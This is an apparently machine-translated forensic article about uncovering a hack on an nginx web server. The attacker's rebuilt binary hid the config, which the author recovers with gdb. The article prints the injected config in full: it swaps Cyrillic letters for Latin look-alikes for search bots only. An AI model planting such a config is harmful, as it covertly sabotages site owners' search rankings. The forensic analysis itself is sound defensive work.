Wanneer 'a' nie gelyk is aan 'a' nie. Op die spoor van 'n hack

'n Baie onaangename storie het met een van my vriende gebeur. Maar so onaangenaam as wat dit vir Mikhail blyk te wees, was dit vir my net so vermaaklik.

Ek moet sê my vriend is nogal UNIX-gebruiker: kan die stelsel self installeer MySQL, PHP en maak eenvoudige instellings nginx.
En hy het 'n dosyn of een en 'n half webwerwe wat aan konstruksiegereedskap gewy is.

Een van hierdie webwerwe wat aan kettingsae gewy is, sit stewig in die TOP van soekenjins. Hierdie webwerf is 'n nie-kommersiële beoordelaar, maar iemand het die gewoonte gekry om dit aan te val. Daardie DDoS, dan brute force, dan skryf hulle onwelvoeglike kommentaar en stuur misbruike aan die gasheer en aan die RKN.
Skielik het alles bedaar en hierdie kalmte blyk nie goed te wees nie, en die webwerf het geleidelik die boonste lyne van die soekresultate begin verlaat.

Wanneer 'a' nie gelyk is aan 'a' nie. In die nasleep van 'n hack

Dit was 'n gesegde, dan die admin se storie self.

Dit was naby slaaptyd toe die telefoon lui: “San, sal jy nie na my bediener kyk nie? Dit lyk vir my of ek gekap is, ek kan dit nie bewys nie, maar die gevoel het my nie vir die derde week verlaat nie. Miskien is dit net tyd vir my om behandeling vir paranoia te kry?”

Wat gevolg het, was 'n halfuur lange bespreking wat soos volg opgesom kan word:

  • die grond vir kap was redelik vrugbaar;
  • 'n aanvaller kan supergebruikerregte verkry;
  • die aanval (indien dit plaasgevind het) was spesifiek op hierdie terrein geteiken;
  • probleemareas is reggestel en jy moet net verstaan ​​of daar enige penetrasie was;
  • die hack kon nie die werfkode en databasisse beïnvloed nie.

Oor die laaste punt.

Wanneer 'a' nie gelyk is aan 'a' nie. In die nasleep van 'n hack

Slegs die wit frontend IP kyk uit na die wêreld. Daar is geen uitruiling tussen die backends en die frontend nie, behalwe http(s), die gebruikers/wagwoorde verskil, geen sleutels is uitgeruil nie. Op grys adresse is alle poorte behalwe 80/443 gesluit. Wit backend-IP's is slegs bekend aan twee gebruikers, wat Mikhail heeltemal vertrou.

Geïnstalleer op die voorkant Debian 9 en teen die tyd dat die oproep gemaak word, word die stelsel van die wêreld geïsoleer deur 'n eksterne firewall en gestop.

"Ok, gee my toegang," besluit ek om die slaap vir 'n uur uit te stel. “Ek sal met my eie oë sien.”

Hier en verder:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Op soek na 'n moontlike hack

Ek begin die bediener, eerste in reddingsmodus. Ek monteer die skywe en blaai deur hulle bekragtig-logs, geskiedenis, stelsel logs, ens., waar moontlik, gaan ek die datums van lêerskepping na, alhoewel ek verstaan ​​dat 'n normale kraker na homself sou "opgevee" het, en Misha het al baie "getrap" terwyl hy na homself gesoek het .

Ek begin in normale modus, verstaan ​​nog nie regtig waarna om te kyk nie, ek bestudeer die konfigurasies. Eerstens stel ek belang in nginx aangesien daar oor die algemeen niks anders op die frontend is nie, behalwe dit.
Die konfigurasies is klein, goed gestruktureer in 'n dosyn lêers, ek kyk net deur hulle kat'o een vir een. Alles blyk skoon te wees, maar jy weet nooit of ek iets gemis het nie sluit, laat ek 'n volledige lys maak:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ek het nie verstaan ​​nie: "Waar is die aanbieding?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

'n Tweede vraag word by die lysvraag gevoeg: "Hoekom so 'n ou weergawe van nginx?"

Daarbenewens glo die stelsel dat die nuutste weergawe geïnstalleer is:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ek bel:
- Misha, hoekom het jy weer bymekaar gemaak nginx?
- Word wakker, ek weet nie eers hoe om dit te doen nie!
- Goed, gaan slaap...

Nginx dit is duidelik herbou en die uitset van die lys met behulp van "-T" word vir 'n rede versteek. Daar is geen twyfel meer oor inbraak nie en jy kan dit eenvoudig aanvaar en (aangesien Misha in elk geval die bediener met 'n nuwe een vervang het) die probleem as opgelos beskou.

En sowaar, aangesien iemand die regte gekry het wortel'ag, dan maak dit net sin om te doen stelsel herinstalleer, en dit was nutteloos om te soek wat daar fout was, maar hierdie keer het nuuskierigheid die slaap verslaan. Hoe kan ons uitvind wat hulle vir ons wou wegsteek?

Kom ons probeer om na te spoor:

$ strace nginx -T

Ons kyk daarna, daar is duidelik nie genoeg lyne in die spoor a la nie

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Net vir die pret, kom ons vergelyk die bevindings.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ek dink deel van die kode /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

is na die vorm gebring:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

of

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

daarom word die lys deur "-T" nie vertoon nie.

Maar hoe kan ons ons konfigurasie sien?

As my gedagte korrek is en die probleem is slegs in die veranderlike ngx_dump_config kom ons probeer om dit te installeer met behulp van gdb, gelukkig is daar 'n sleutel --met-cc-opt -g teenwoordig en hoop dat optimalisering -O2 dit sal ons nie seermaak nie. Terselfdertyd, aangesien ek nie weet hoe nie ngx_dump_config verwerk kon word geval 'T':, sal ons nie hierdie blok noem nie, maar installeer dit met behulp van geval 't':

Hoekom jy '-t' sowel as '-T' kan gebruikBlokverwerking if(ngx_dump_config) binne gebeur if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natuurlik, as die kode in hierdie deel verander word en nie in geval 'T':, dan sal my metode nie werk nie.

Toets nginx.confNadat die probleem reeds eksperimenteel opgelos is, is vasgestel dat 'n minimum konfigurasie nodig is vir die wanware om te werk nginx tipe:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ons sal dit kortliks in die artikel gebruik.

Begin die ontfouter

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Die stappe:

  • stel 'n breekpunt in die funksie hoof ()
  • begin die program
  • verander die waarde van die veranderlike wat die uitvoer van die konfigurasie bepaal ngx_dump_config=1
  • gaan voort/beëindig die program

Soos ons kan sien, verskil die werklike konfigurasie van ons s'n, ons kies 'n parasitiese stuk daaruit:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Kom ons kyk in volgorde na wat hier gebeur.

Is vasbeslote Gebruikersagentse yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Diensbladsye is uitgesluit wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

En vir diegene wat onder beide bogenoemde voorwaardes val

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

in die teks html-bladsye verander 'O' op 'o' и 'A' op 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dis reg, die enigste subtiliteit is dit 'a' != 'a' net soos 'o' != 'o':

Wanneer 'a' nie gelyk is aan 'a' nie. In die nasleep van 'n hack

Soekenjinbots ontvang dus, in plaas van normale 100% Cyrilliese teks, gewysigde vullis wat met Latyn verdun is 'a' и 'o'. Ek durf nie bespreek hoe dit SEO raak nie, maar dit is onwaarskynlik dat so 'n mengelmoes letters 'n positiewe impak op posisies in die soekresultate sal hê.

Wat kan ek sê, ouens met verbeelding.

verwysings

Ontfouting met GDB
gdb(1) - Linux-manbladsy
strace(1) - Linux man bladsy
Nginx - Module ngx_http_sub_module
Oor sae, kettingsae en elektriese sae

Bron: will.com

Voeg 'n opmerking